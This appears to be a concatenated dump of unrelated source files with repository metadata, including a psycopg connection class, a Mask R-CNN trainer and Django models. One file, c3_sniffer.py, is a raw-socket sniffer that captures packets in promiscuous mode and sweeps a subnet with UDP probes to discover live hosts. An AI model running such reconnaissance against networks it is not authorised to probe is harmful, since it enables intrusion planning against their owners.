row_factory: RowFactory[Row]
def __init__(
self, pgconn: "PGconn", row_factory: Optional[RowFactory[Row]] = None
):
super().__init__(pgconn)
self.row_factory = row_factory or cast(RowFactory[Row], tuple_row)
self.lock = threading.Lock()
self.cursor_factory = Cursor
self.server_cursor_factory = ServerCursor
@overload
@classmethod
def connect(
cls,
conninfo: str = "",
*,
autocommit: bool = False,
row_factory: RowFactory[Row],
**kwargs: Union[None, int, str],
) -> "Connection[Row]":
...
@overload
@classmethod
def connect(
cls,
conninfo: str = "",
*,
autocommit: bool = False,
**kwargs: Union[None, int, str],
) -> "Connection[TupleRow]":
...
@classmethod # type: ignore[misc] # https://github.com/python/mypy/issues/11004
def connect(
cls,
conninfo: str = "",
*,
autocommit: bool = False,
row_factory: Optional[RowFactory[Row]] = None,
**kwargs: Any,
) -> "Connection[Any]":
"""
Connect to a database server and return a new `Connection` instance.
"""
params = cls._get_connection_params(conninfo, **kwargs)
conninfo = make_conninfo(**params)
rv = cls._wait_conn(
cls._connect_gen(conninfo, autocommit=autocommit),
timeout=params["connect_timeout"],
)
if row_factory:
rv.row_factory = row_factory
return rv
def __enter__(self) -> "Connection[Row]":
return self
def __exit__(
self,
exc_type: Optional[Type[BaseException]],
exc_val: Optional[BaseException],
exc_tb: Optional[TracebackType],
) -> None:
if self.closed:
return
if exc_type:
# try to rollback, but if there are problems (connection in a bad
# state) just warn without clobbering the exception bubbling up.
try:
self.rollback()
except Exception as exc2:
warnings.warn(
f"error rolling back the transaction on {self}: {exc2}",
RuntimeWarning,
)
else:
self.commit()
# Close the connection only if it doesn't belong to a pool.
if not getattr(self, "_pool", None):
self.close()
@classmethod
def _get_connection_params(
cls, conninfo: str, **kwargs: Any
) -> Dict[str, Any]:
"""Manipulate connection parameters before connecting.
:param conninfo: Connection string as received by `~Connection.connect()`.
:param kwargs: Overriding connection arguments as received by `!connect()`.
:return: Connection arguments merged and eventually modified, in a
format similar to `~conninfo.conninfo_to_dict()`.
"""
params = conninfo_to_dict(conninfo, **kwargs)
# Make sure there is an usable connect_timeout
if "connect_timeout" in params:
params["connect_timeout"] = int(params["connect_timeout"])
else:
params["connect_timeout"] = None
# TODO: SRV lookup (RFC 2782)
# https://github.com/psycopg/psycopg/issues/70
return params
def close(self) -> None:
"""Close the database connection."""
if self.closed:
return
self._closed = True
self.pgconn.finish()
@overload
def cursor(self, *, binary: bool = False) -> Cursor[Row]:
...
@overload
def cursor(
self, *, binary: bool = False, row_factory: RowFactory[CursorRow]
) -> Cursor[CursorRow]:
...
@overload
def cursor(
self,
name: str,
*,
binary: bool = False,
scrollable: Optional[bool] = None,
withhold: bool = False,
) -> ServerCursor[Row]:
...
@overload
def cursor(
self,
name: str,
*,
binary: bool = False,
row_factory: RowFactory[CursorRow],
scrollable: Optional[bool] = None,
withhold: bool = False,
) -> ServerCursor[CursorRow]:
...
def cursor(
self,
name: str = "",
*,
binary: bool = False,
row_factory: Optional[RowFactory[Any]] = None,
scrollable: Optional[bool] = None,
withhold: bool = False,
) -> Union[Cursor[Any], ServerCursor[Any]]:
"""
Return a new cursor to send commands and queries to the connection.
"""
if not row_factory:
row_factory = self.row_factory
cur: Union[Cursor[Any], ServerCursor[Any]]
if name:
cur = self.server_cursor_factory(
self,
name=name,
row_factory=row_factory,
scrollable=scrollable,
withhold=withhold,
)
else:
cur = self.cursor_factory(self, row_factory=row_factory)
if binary:
cur.format = Format.BINARY
return cur
def execute(
self,
query: Query,
params: Optional[Params] = None,
*,
prepare: Optional[bool] = None,
binary: bool = False,
) -> Cursor[Row]:
"""Execute a query and return a cursor to read its results."""
cur = self.cursor()
if binary:
cur.format = Format.BINARY
try:
return cur.execute(query, params, prepare=prepare)
except e.Error as ex:
raise ex.with_traceback(None)
def commit(self) -> None:
"""Commit any pending transaction to the database."""
with self.lock:
self.wait(self._commit_gen())
def rollback(self) -> None:
"""Roll back to the start of any pending transaction."""
with self.lock:
self.wait(self._rollback_gen())
@contextmanager
def transaction(
self,
savepoint_name: Optional[str] = None,
force_rollback: bool = False,
) -> Iterator[Transaction]:
"""
Start a context block with a new transaction or nested transaction.
:param savepoint_name: Name of the savepoint used to manage a nested
transaction. If `!None`, one will be chosen automatically.
:param force_rollback: Roll back the transaction at the end of the
block even if there were no error (e.g. to try a no-op process).
:rtype: Transaction
"""
with Transaction(self, savepoint_name, force_rollback) as tx:
yield tx
def notifies(self) -> Iterator[Notify]:
"""
Yield `Notify` objects as soon as they are received from the database.
"""
while 1:
with self.lock:
ns = self.wait(notifies(self.pgconn))
enc = self.client_encoding
for pgn in ns:
n = Notify(
pgn.relname.decode(enc), pgn.extra.decode(enc), pgn.be_pid
)
yield n
def wait(self, gen: PQGen[RV], timeout: Optional[float] = 0.1) -> RV:
"""
Consume a generator operating on the connection.
The function must be used on generators that don't change connection
fd (i.e. not on connect and reset).
"""
return waiting.wait(gen, self.pgconn.socket, timeout=timeout)
@classmethod
def _wait_conn(cls, gen: PQGenConn[RV], timeout: Optional[int]) -> RV:
"""Consume a connection generator."""
return waiting.wait_conn(gen, timeout=timeout)
def _set_autocommit(self, value: bool) -> None:
with self.lock:
super()._set_autocommit(value)
def _set_isolation_level(self, value: Optional[IsolationLevel]) -> None:
with self.lock:
super()._set_isolation_level(value)
def _set_read_only(self, value: Optional[bool]) -> None:
with self.lock:
super()._set_read_only(value)
def _set_deferrable(self, value: Optional[bool]) -> None:
with self.lock:
super()._set_deferrable(value)
def _set_client_encoding(self, name: str) -> None:
with self.lock:
self.wait(self._set_client_encoding_gen(name))
|
[
"nurbak.zh@gmail.com"
] |
nurbak.zh@gmail.com
|
d5ac621f8b8dade846b1560e41d0dfdf6b8717fb
|
6833217da57c00bf446dce0d703e8076910ce24f
|
/Coding Tests/Citibank June 2021/digits.py
|
35a583659557fbd4277154e099bd7e4b355550f5
|
[] |
no_license
|
ashjune8/Python-Algorithm-Solutions
|
d301b903263d2787f5f25d182918ced1405cac73
|
04d8453d8ba54b6d7b8ca473d796308ae7f4f6b9
|
refs/heads/master
| 2022-03-01T05:26:22.212625
| 2022-02-19T01:23:53
| 2022-02-19T01:23:53
| 91,991,134
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 364
|
py
|
def solution(N):
# write your code in Python 3.6
stringConverted = str(N)
resultString = ''
if(len(stringConverted) == 1):
return 0
for i in range(len(stringConverted)):
if (i == 0):
resultString += '1'
else:
resultString += '0'
return int(resultString)
print solution(2)
|
[
"ashjune8@gmail.com"
] |
ashjune8@gmail.com
|
77dd188e69c5ed676818bbd7f52b5ac79d253aa4
|
22a366e66890009e225b676ff9415c7cc6d26300
|
/python/src/jobanalysis/skill/process_skills.py
|
5e74ed1866906762b30add6cbc0e961c4fa4269b
|
[] |
no_license
|
smaity8136/jobaly
|
2d0c1cecac09902563ffd1891acee987e2e307f5
|
1788a95877aaf60471db775a3a88a20719ffc586
|
refs/heads/master
| 2022-04-15T03:57:43.770738
| 2015-04-16T22:42:31
| 2015-04-16T22:42:31
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 637
|
py
|
# -*- coding: utf-8 -*-
"""
Created on Mon Jul 21 16:57:48 2014
@author: dlmu__000
"""
import json
import nltk
def loadFile(fileName):
f = open(fileName, "r")
data = f.read()
sents = json.loads(data)
for sent in sents:
sent[1] = nltk.word_tokenize(sent[1])
print sent[1]
return sents
def rule1(sents):
ignoreList = [u'-', u',',u'.',u'or',u'and' ]
pass
def testRule1():
sent = "HTML5, CSS, JavaScript, Sencha ExtJS, JQuery Mobile, and REST."
tokens = nltk.word_tokenize(sent)
print tokens
def main():
testRule1()
if __name__ == "__main__":
main()
|
[
"pkushiqiang@gmail.com"
] |
pkushiqiang@gmail.com
|
206fdb7aee191629e73417be7113cc20964499a7
|
1b1b8ecceb3638719ea2657fa2032304f4ed77be
|
/Week2/Sqrts v.2.py
|
ddc4d6ad0cb66cf9462cef2493c814e7e9448859
|
[] |
no_license
|
IndependentDeveloper1/PyCourse
|
ee649812835f9c153410afe7912dd41616c531bf
|
e807a30ad88d69824f692b0e4eed101de2d5d607
|
refs/heads/master
| 2021-08-27T21:48:50.195313
| 2019-04-23T08:42:58
| 2019-04-23T08:42:58
| 182,575,249
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 103
|
py
|
n = int(input())
num = 1
numSum = 0
while num <= n:
numSum += num * num
num += 1
print(numSum)
|
[
"40405436+IndependentDeveloper1@users.noreply.github.com"
] |
40405436+IndependentDeveloper1@users.noreply.github.com
|
8c203afbdbef4e2245e6299014638e4b27f91d43
|
778548a8609bfcf098e6681c5bbab34152b694bb
|
/models/object_detection/pytorch/maskrcnn/maskrcnn-benchmark/maskrcnn_benchmark/engine/trainer.py
|
050f70a5859206f737c74c7debc3a31e072cd994
|
[
"Apache-2.0",
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
rahulunair/models
|
695a0077430820e449437399355107eb999fe2e3
|
75171f0271807944857ece42589b378469017f1e
|
refs/heads/master
| 2023-04-08T04:22:13.359790
| 2022-07-14T20:03:02
| 2022-07-14T20:03:02
| 178,485,628
| 0
| 0
|
Apache-2.0
| 2020-01-09T16:45:11
| 2019-03-29T23:00:22
|
Python
|
UTF-8
|
Python
| false
| false
| 8,610
|
py
|
#
# -*- coding: utf-8 -*-
#
# Copyright (c) 2018 Intel Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
#
# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.
import datetime
import logging
import os
import time
import torch
import torch.distributed as dist
from tqdm import tqdm
from maskrcnn_benchmark.data import make_data_loader
from maskrcnn_benchmark.utils.comm import get_world_size, synchronize
from maskrcnn_benchmark.utils.metric_logger import MetricLogger
from maskrcnn_benchmark.engine.inference import inference
from ..utils.timer import Timer, get_time_str
import intel_extension_for_pytorch as ipex
def reduce_loss_dict(loss_dict):
"""
Reduce the loss dictionary from all processes so that process with rank
0 has the averaged results. Returns a dict with the same fields as
loss_dict, after reduction.
"""
world_size = get_world_size()
if world_size < 2:
return loss_dict
with torch.no_grad():
loss_names = []
all_losses = []
for k in sorted(loss_dict.keys()):
loss_names.append(k)
all_losses.append(loss_dict[k])
all_losses = torch.stack(all_losses, dim=0)
dist.reduce(all_losses, dst=0)
if dist.get_rank() == 0:
# only main process gets accumulated, so only divide by
# world_size in this case
all_losses /= world_size
reduced_losses = {k: v for k, v in zip(loss_names, all_losses)}
return reduced_losses
def do_train(
cfg,
model,
data_loader,
data_loader_val,
optimizer,
scheduler,
checkpointer,
device,
checkpoint_period,
test_period,
arguments,
bf16=False,
iterations=-1,
iter_warmup=-1
):
logger = logging.getLogger("maskrcnn_benchmark.trainer")
logger.info("Start training")
meters = MetricLogger(delimiter=" ")
max_iter = len(data_loader)
start_iter = arguments["iteration"]
model.train()
training_timer = Timer()
start_training_time = time.time()
end = time.time()
iou_types = ("bbox",)
if cfg.MODEL.MASK_ON:
iou_types = iou_types + ("segm",)
if cfg.MODEL.KEYPOINT_ON:
iou_types = iou_types + ("keypoints",)
dataset_names = cfg.DATASETS.TEST
model, optimizer = ipex.optimize(model, dtype=torch.bfloat16 if bf16 else torch.float, optimizer=optimizer, inplace=True)
for iteration, (images, targets, _) in enumerate(data_loader, start_iter):
if any(len(target) < 1 for target in targets):
logger.error(f"Iteration={iteration + 1} || Image Ids used for training {_} || targets Length={[len(target) for target in targets]}" )
continue
data_time = time.time() - end
iteration = iteration + 1
arguments["iteration"] = iteration
images = images.to(device)
targets = [target.to(device) for target in targets]
if iteration > iter_warmup:
training_timer.tic()
with torch.cpu.amp.autocast(enabled=bf16):
loss_dict = model(images.to(memory_format=torch.channels_last), targets)
losses = sum(loss.to(torch.float32) for loss in loss_dict.values())
# reduce losses over all GPUs for logging purposes
loss_dict_reduced = reduce_loss_dict(loss_dict)
losses_reduced = sum(loss for loss in loss_dict_reduced.values())
meters.update(loss=losses_reduced, **loss_dict_reduced)
optimizer.zero_grad()
losses.backward()
optimizer.step()
scheduler.step()
if iteration > iter_warmup:
training_timer.toc()
batch_time = time.time() - end
end = time.time()
meters.update(time=batch_time, data=data_time)
eta_seconds = meters.time.global_avg * (max_iter - iteration)
eta_string = str(datetime.timedelta(seconds=int(eta_seconds)))
if iteration % 1 == 0 or iteration == max_iter:
logger.info(
meters.delimiter.join(
[
"eta: {eta}",
"iter: {iter}",
"{meters}",
"lr: {lr:.6f}",
"max mem: {memory:.0f}",
]
).format(
eta=eta_string,
iter=iteration,
meters=str(meters),
lr=optimizer.param_groups[0]["lr"],
memory=torch.cuda.max_memory_allocated() / 1024.0 / 1024.0,
)
)
if iteration % checkpoint_period == 0:
checkpointer.save("model_{:07d}".format(iteration), **arguments)
if data_loader_val is not None and test_period > 0 and iteration % test_period == 0:
meters_val = MetricLogger(delimiter=" ")
synchronize()
_ = inference( # The result can be used for additional logging, e. g. for TensorBoard
model,
# The method changes the segmentation mask format in a data loader,
# so every time a new data loader is created:
make_data_loader(cfg, is_train=False, is_distributed=(get_world_size() > 1), is_for_period=True),
dataset_name="[Validation]",
iou_types=iou_types,
box_only=False if cfg.MODEL.RETINANET_ON else cfg.MODEL.RPN_ONLY,
device=cfg.MODEL.DEVICE,
expected_results=cfg.TEST.EXPECTED_RESULTS,
expected_results_sigma_tol=cfg.TEST.EXPECTED_RESULTS_SIGMA_TOL,
output_folder=None,
)
synchronize()
model.train()
with torch.no_grad():
# Should be one image for each GPU:
for iteration_val, (images_val, targets_val, _) in enumerate(tqdm(data_loader_val)):
images_val = images_val.to(device)
targets_val = [target.to(device) for target in targets_val]
loss_dict = model(images_val, targets_val)
losses = sum(loss for loss in loss_dict.values())
loss_dict_reduced = reduce_loss_dict(loss_dict)
losses_reduced = sum(loss for loss in loss_dict_reduced.values())
meters_val.update(loss=losses_reduced, **loss_dict_reduced)
synchronize()
logger.info(
meters_val.delimiter.join(
[
"[Validation]: ",
"eta: {eta}",
"iter: {iter}",
"{meters}",
"lr: {lr:.6f}",
"max mem: {memory:.0f}",
]
).format(
eta=eta_string,
iter=iteration,
meters=str(meters_val),
lr=optimizer.param_groups[0]["lr"],
memory=torch.cuda.max_memory_allocated() / 1024.0 / 1024.0,
)
)
if iterations <= 0:
if iteration == max_iter:
checkpointer.save("model_final", **arguments)
elif iter_warmup > 0:
if iteration == iterations + iter_warmup:
break
else:
if iteration == iterations:
break
total_training_time = time.time() - start_training_time
total_time_str = str(datetime.timedelta(seconds=total_training_time))
if iterations <= 0:
iterations = max_iter
logger.info(
"Total training time: {} ({:.4f} s / it)".format(
total_time_str, total_training_time / iterations
)
)
total_train_time = get_time_str(training_timer.total_time)
logger.info(
"Model training time: {} ({} s / iter per device)".format(
total_train_time,
training_timer.total_time / iterations
)
)
print("Training throughput: {:.3f} fps".format((iterations * cfg.SOLVER.IMS_PER_BATCH) / (training_timer.total_time)))
|
[
"abolfazl.shahbazi@intel.com"
] |
abolfazl.shahbazi@intel.com
|
74cd5856a7f5c8210f890e8236daaece08eea2ca
|
467f4d4487e046f0e3d4594c226f51fd704b036e
|
/notes/models.py
|
f913c31ca0105a22d9b608f66872d3efd7cfdbe3
|
[] |
no_license
|
ekm79/Intro-Django
|
297835d97413f3d71200bb23db8b2c759bd6ddd5
|
1b5d59432e56a24b93e2f5074e51b348dfe6e3d7
|
refs/heads/master
| 2020-03-28T21:09:56.851925
| 2018-09-24T01:45:06
| 2018-09-24T01:45:06
| 149,134,371
| 0
| 0
| null | 2018-09-17T14:03:25
| 2018-09-17T14:03:25
| null |
UTF-8
|
Python
| false
| false
| 1,796
|
py
|
from django.db import models
from uuid import uuid4
from django.contrib.auth.models import User
# Create your models here.
class Note(models.Model):
id = models.UUIDField(primary_key=True, default=uuid4, editable=False)
title = models.CharField(max_length=200)
content = models.TextField(blank=True)
created_at = models.DateTimeField(auto_now_add=True)
last_modified = models.DateTimeField(auto_now=True)
class PersonalNote(Note):
user = models.ForeignKey(User, on_delete=models.CASCADE)
class Movie(models.Model):
id = models.UUIDField(primary_key=True, default=uuid4, editable=False)
title = models.CharField(max_length=200)
year = models.CharField(max_length=4)
on_dvd = models.BooleanField(default=True)
imdb_link = models.URLField(default='http://www.imdb.com')
created_at = models.DateTimeField(auto_now_add=True)
class FavoriteMovies(Movie):
user = models.ForeignKey(User, on_delete=models.CASCADE)
class Brewery(models.Model):
id = models.UUIDField(primary_key=True, default=uuid4, editable=False)
name = models.CharField(max_length=80)
address = models.TextField(blank=True)
website = models.URLField(default='http//untappd.com')
created_at = models.DateTimeField(auto_now_add=True)
last_modified = models.DateTimeField(auto_now=True)
def __str__(self):
return self.name
class Beer(models.Model):
id = models.UUIDField(primary_key=True, default=uuid4, editable=False)
name = models.CharField(max_length=80)
description = models.TextField(blank=True)
abv = models.FloatField(default=None)
ibu = models.IntegerField(default=None)
brewery = models.ForeignKey(Brewery, on_delete=models.CASCADE, default=None)
#def __init__(self):
#self.brewery = Brewery()
|
[
"ekmeredith@att.net"
] |
ekmeredith@att.net
|
d05b8fe31cb2b3669e6ffacc405b55cbda7ff8b4
|
24fe1f54fee3a3df952ca26cce839cc18124357a
|
/servicegraph/lib/python2.7/site-packages/acimodel-4.0_3d-py2.7.egg/cobra/modelimpl/tunnel/lsite.py
|
cf53b4bf12e69f5b767bc243bd15658320be6f5d
|
[] |
no_license
|
aperiyed/servicegraph-cloudcenter
|
4b8dc9e776f6814cf07fe966fbd4a3481d0f45ff
|
9eb7975f2f6835e1c0528563a771526896306392
|
refs/heads/master
| 2023-05-10T17:27:18.022381
| 2020-01-20T09:18:28
| 2020-01-20T09:18:28
| 235,065,676
| 0
| 0
| null | 2023-05-01T21:19:14
| 2020-01-20T09:36:37
|
Python
|
UTF-8
|
Python
| false
| false
| 5,189
|
py
|
# coding=UTF-8
# **********************************************************************
# Copyright (c) 2013-2019 Cisco Systems, Inc. All rights reserved
# written by zen warriors, do not modify!
# **********************************************************************
from cobra.mit.meta import ClassMeta
from cobra.mit.meta import StatsClassMeta
from cobra.mit.meta import CounterMeta
from cobra.mit.meta import PropMeta
from cobra.mit.meta import Category
from cobra.mit.meta import SourceRelationMeta
from cobra.mit.meta import NamedSourceRelationMeta
from cobra.mit.meta import TargetRelationMeta
from cobra.mit.meta import DeploymentPathMeta, DeploymentCategory
from cobra.model.category import MoCategory, PropCategory, CounterCategory
from cobra.mit.mo import Mo
# ##################################################
class LSite(Mo):
"""
Mo doc not defined in techpub!!!
"""
meta = ClassMeta("cobra.model.tunnel.LSite")
meta.moClassName = "tunnelLSite"
meta.rnFormat = "lsite-%(id)s"
meta.category = MoCategory.REGULAR
meta.label = "Tunnel info for the local site in a multisite topology"
meta.writeAccessMask = 0x400000000001
meta.readAccessMask = 0x400000000001
meta.isDomainable = False
meta.isReadOnly = True
meta.isConfigurable = False
meta.isDeletable = False
meta.isContextRoot = False
meta.childClasses.add("cobra.model.fault.Delegate")
meta.childNamesAndRnPrefix.append(("cobra.model.fault.Delegate", "fd-"))
meta.parentClasses.add("cobra.model.l3.Inst")
meta.superClasses.add("cobra.model.pol.Instr")
meta.superClasses.add("cobra.model.naming.NamedObject")
meta.superClasses.add("cobra.model.pol.Obj")
meta.rnPrefixes = [
('lsite-', True),
]
prop = PropMeta("str", "childAction", "childAction", 4, PropCategory.CHILD_ACTION)
prop.label = "None"
prop.isImplicit = True
prop.isAdmin = True
prop._addConstant("deleteAll", "deleteall", 16384)
prop._addConstant("deleteNonPresent", "deletenonpresent", 8192)
prop._addConstant("ignore", "ignore", 4096)
meta.props.add("childAction", prop)
prop = PropMeta("str", "descr", "descr", 5581, PropCategory.REGULAR)
prop.label = "Description"
prop.isConfig = True
prop.isAdmin = True
prop.range = [(0, 128)]
prop.regex = ['[a-zA-Z0-9\\!#$%()*,-./:;@ _{|}~?&+]+']
meta.props.add("descr", prop)
prop = PropMeta("str", "dn", "dn", 1, PropCategory.DN)
prop.label = "None"
prop.isDn = True
prop.isImplicit = True
prop.isAdmin = True
prop.isCreateOnly = True
meta.props.add("dn", prop)
prop = PropMeta("str", "etep", "etep", 33221, PropCategory.REGULAR)
prop.label = "ETEP IP"
prop.isImplicit = True
prop.isAdmin = True
meta.props.add("etep", prop)
prop = PropMeta("str", "id", "id", 33222, PropCategory.REGULAR)
prop.label = "Site ID"
prop.isConfig = True
prop.isAdmin = True
prop.isCreateOnly = True
prop.isNaming = True
meta.props.add("id", prop)
prop = PropMeta("str", "lcOwn", "lcOwn", 9, PropCategory.REGULAR)
prop.label = "None"
prop.isImplicit = True
prop.isAdmin = True
prop.defaultValue = 0
prop.defaultValueStr = "local"
prop._addConstant("implicit", "implicit", 4)
prop._addConstant("local", "local", 0)
prop._addConstant("policy", "policy", 1)
prop._addConstant("replica", "replica", 2)
prop._addConstant("resolveOnBehalf", "resolvedonbehalf", 3)
meta.props.add("lcOwn", prop)
prop = PropMeta("str", "modTs", "modTs", 7, PropCategory.REGULAR)
prop.label = "None"
prop.isImplicit = True
prop.isAdmin = True
prop.defaultValue = 0
prop.defaultValueStr = "never"
prop._addConstant("never", "never", 0)
meta.props.add("modTs", prop)
prop = PropMeta("str", "name", "name", 4991, PropCategory.REGULAR)
prop.label = "Name"
prop.isConfig = True
prop.isAdmin = True
prop.range = [(0, 64)]
prop.regex = ['[a-zA-Z0-9_.:-]+']
meta.props.add("name", prop)
prop = PropMeta("str", "nameAlias", "nameAlias", 28417, PropCategory.REGULAR)
prop.label = "Name alias"
prop.isConfig = True
prop.isAdmin = True
prop.range = [(0, 63)]
prop.regex = ['[a-zA-Z0-9_.-]+']
meta.props.add("nameAlias", prop)
prop = PropMeta("str", "rn", "rn", 2, PropCategory.RN)
prop.label = "None"
prop.isRn = True
prop.isImplicit = True
prop.isAdmin = True
prop.isCreateOnly = True
meta.props.add("rn", prop)
prop = PropMeta("str", "status", "status", 3, PropCategory.STATUS)
prop.label = "None"
prop.isImplicit = True
prop.isAdmin = True
prop._addConstant("created", "created", 2)
prop._addConstant("deleted", "deleted", 8)
prop._addConstant("modified", "modified", 4)
meta.props.add("status", prop)
meta.namingProps.append(getattr(meta.props, "id"))
def __init__(self, parentMoOrDn, id, markDirty=True, **creationProps):
namingVals = [id]
Mo.__init__(self, parentMoOrDn, markDirty, *namingVals, **creationProps)
# End of package file
# ##################################################
|
[
"rrishike@cisco.com"
] |
rrishike@cisco.com
|
8e685c4e4ad274a232060c4f31069754801a1c1f
|
88e7541b98a3b0d04b530438e88f875ae495e5d2
|
/dasgal8.py
|
36a8243b90da306a79bd10dc7f0dc1ece96d4aa7
|
[] |
no_license
|
ganbatz/phyton3
|
b8431ab0097ed97b1de04dc0a6db4c3736cc026b
|
8b6add2a25a28f34026d3ddb63772f5c3d756559
|
refs/heads/master
| 2022-06-24T09:28:40.868184
| 2020-05-09T17:41:07
| 2020-05-09T17:41:07
| 262,625,242
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 174
|
py
|
# 3 toonii bagiig ol
n1 = int(input())
n2 = int(input())
n3 = int(input())
if n1<n2 and n1<n3:
print(n1)
elif n2<n1 and n2<n3:
print(n2)
else:
print(n3)
|
[
"noreply@github.com"
] |
ganbatz.noreply@github.com
|
969f365246c8ceea4c1c5d7d90d7b60f7bc7eb08
|
c9f795e53185be1648748d04591cfc4bfe0e9f62
|
/Dict_Ques18.py
|
5d8eb90557b9a532f7b163c0df9d058b8774148c
|
[] |
no_license
|
pragatirahul123/Dictionary
|
26c3f6d6b0f9dc8f0dd7e4f025cc66072b207469
|
b7241021225cdf0866a8c6b53998c3530150f022
|
refs/heads/main
| 2023-04-10T09:11:07.817534
| 2021-04-14T10:54:37
| 2021-04-14T10:54:37
| 346,099,013
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 196
|
py
|
Student = {}
Age = {}
Details = {}
Student['name'] = "bikki"
Age['student_age'] = 14
Details['Student'] = Student
Details['Age'] = Age
print (Details["Student"])
print(len(Details["Student"]))
|
[
"zeba18@navgurukul.org"
] |
zeba18@navgurukul.org
|
2c2924c19e6a3a94b0406b64ade076b0ac8980a2
|
0b7e6eff0a50eabc9baa0d8f520fcc3eaa90ab92
|
/prilese/users/migrations/0001_initial.py
|
76994a477641671fbb753695df9f17ae686ae1de
|
[] |
no_license
|
Nicolay-kr/Prilese
|
6771e9f5fef497d82a5e065699eb888674348979
|
8e302dffbe474e0d9367db59ec4b4f86a2a0d49c
|
refs/heads/master
| 2021-03-21T22:07:48.145884
| 2020-03-30T17:19:42
| 2020-03-30T17:19:42
| 247,330,656
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 777
|
py
|
# Generated by Django 3.0.3 on 2020-03-29 21:18
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.CreateModel(
name='Profile',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('image', models.ImageField(default='default.jpg', upload_to='profile_pics')),
('user', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
],
),
]
|
[
"nicolay.krischenovich@gmail.com"
] |
nicolay.krischenovich@gmail.com
|
c3b32385840796ed26b9f8080a349b5791153a94
|
97ef7d275cdbc37b45b8ce4225919a89378d59dc
|
/c3_sniffer.py
|
c67c99422f7e626a94b0705d11c05ab3f7cb8dff
|
[] |
no_license
|
tediswht/blackhatpython
|
d49dc848c0a797825e4c58eb62c92c2a37cf1730
|
52402ed624ceab5a59514b13dd0be28483807692
|
refs/heads/master
| 2020-07-25T08:35:46.095785
| 2019-10-03T02:12:56
| 2019-10-03T02:12:56
| 208,232,376
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,028
|
py
|
import struct
import socket
import os
from ctypes import *
import threading
import time
from netaddr import IPNetwork,IPAddress
host = '192.168.1.4'
subnet = "192.168.1.0/24"
mes = "hipython"
def udp_sender(subnet,mes):
time.sleep(1)
sender = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
for ip in IPNetwork(subnet):
try:
sender.sendto(mes,("%s"%ip,65212))
print("sent to %s"%ip,65212)
except:
pass
class IP(Structure):
_fields_=[
("ihl",c_ubyte,4),
("version",c_ubyte,4),
("tos",c_ubyte),
("len",c_ushort),
("id",c_ushort),
("offset",c_ushort),
("ttl",c_ubyte),
("protocol_num",c_ubyte),
("sum",c_ushort),
("src",c_uint32),
("dst",c_uint32)
]
def __new__(self,socket_buffer=None):
return self.from_buffer_copy(socket_buffer)
def __init__(self,sock_buffer=None):
self.protocol_map={1:"ICMP",6:"TCP",17:"UDP"}
self.src_address=socket.inet_ntoa(struct.pack("<L",self.src))
self.dst_address=socket.inet_ntoa(struct.pack("<L",self.dst))
try:
self.protocol = self.protocol_map[self.protocol_num]
except:
self.protocol = str(self.protocol_num)
class ICMP(Structure):
_fields_ = [
("type",c_ubyte),
("code",c_ubyte),
("checksum",c_ushort),
("unused",c_ushort),
("next_hop_mtu",c_ushort)
]
def __new__(self,socket_buffer):
return self.from_buffer_copy(socket_buffer)
def __init__(self,socket_buffer):
pass
if os.name == "nt":
socket_pro=socket.IPPROTO_IP
else:
socket_pro=socket.IPPROTO_ICMP
sniffer=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket_pro)
sniffer.bind((host,0))
sniffer.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_ON)
t=threading.Thread(target=udp_sender,args=(subnet,mes))
t.start()
try:
while True:
raw_buffer = sniffer.recvfrom(65565)[0]
ip_header = IP(raw_buffer[0:20])
print("Protocol:%s %s -> %s"%(ip_header.protocol,ip_header.src_address,ip_header.dst_address))
if ip_header.protocol=="ICMP":
offset = ip_header.ihl * 4
buf = raw_buffer[offset:offset+sizeof(ICMP)]
icmp_header = ICMP(buf)
print("ICMP -> Type:%d code: %d"%(icmp_header.type,icmp_header.code))
if icmp_header.code==3 and icmp_header.type ==3 :
if IPAddress(ip_header.src_address) in IPNetwork(subnet):
if raw_buffer[len(raw_buffer)-len(mes):]==mes:
print("Host up %s"%ip_header.src_address)
except KeyboardInterrupt:
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_OFF)
|
[
"noreply@github.com"
] |
tediswht.noreply@github.com
|
07b55d4c6d747ab587d2a653c986f6dcf3e7ad63
|
a25049ab1d4fa9fb1fcce26d075060ad15ec0a21
|
/MovingBall.pyde
|
e4793e35fb71e00cad2b7044f362fa6617b04382
|
[] |
no_license
|
ABahASC/Alpha_ASC3
|
a5fd1e8a27c36df44fe5b00f3fb9c3a6b6a92f0e
|
226264877a800b7f11a99bdd0bd732b934aa727d
|
refs/heads/master
| 2020-03-28T01:04:30.195960
| 2016-08-02T18:18:45
| 2016-08-02T18:18:45
| 63,184,210
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 315
|
pyde
|
x=200;
y=1;
speed = 1
def setup():
size (400,400);
smooth();
background(0);
noStroke();
fill(0,255,0);
def draw():
global x
global y
global speed
background(0);
rect(mouseX,330,40,40)
ellipse(x, 200, 40, 40);
x=x+y;
if (x>width-20 or x<20):
y=-y;
|
[
"alphabah212@gmail.com"
] |
alphabah212@gmail.com
|
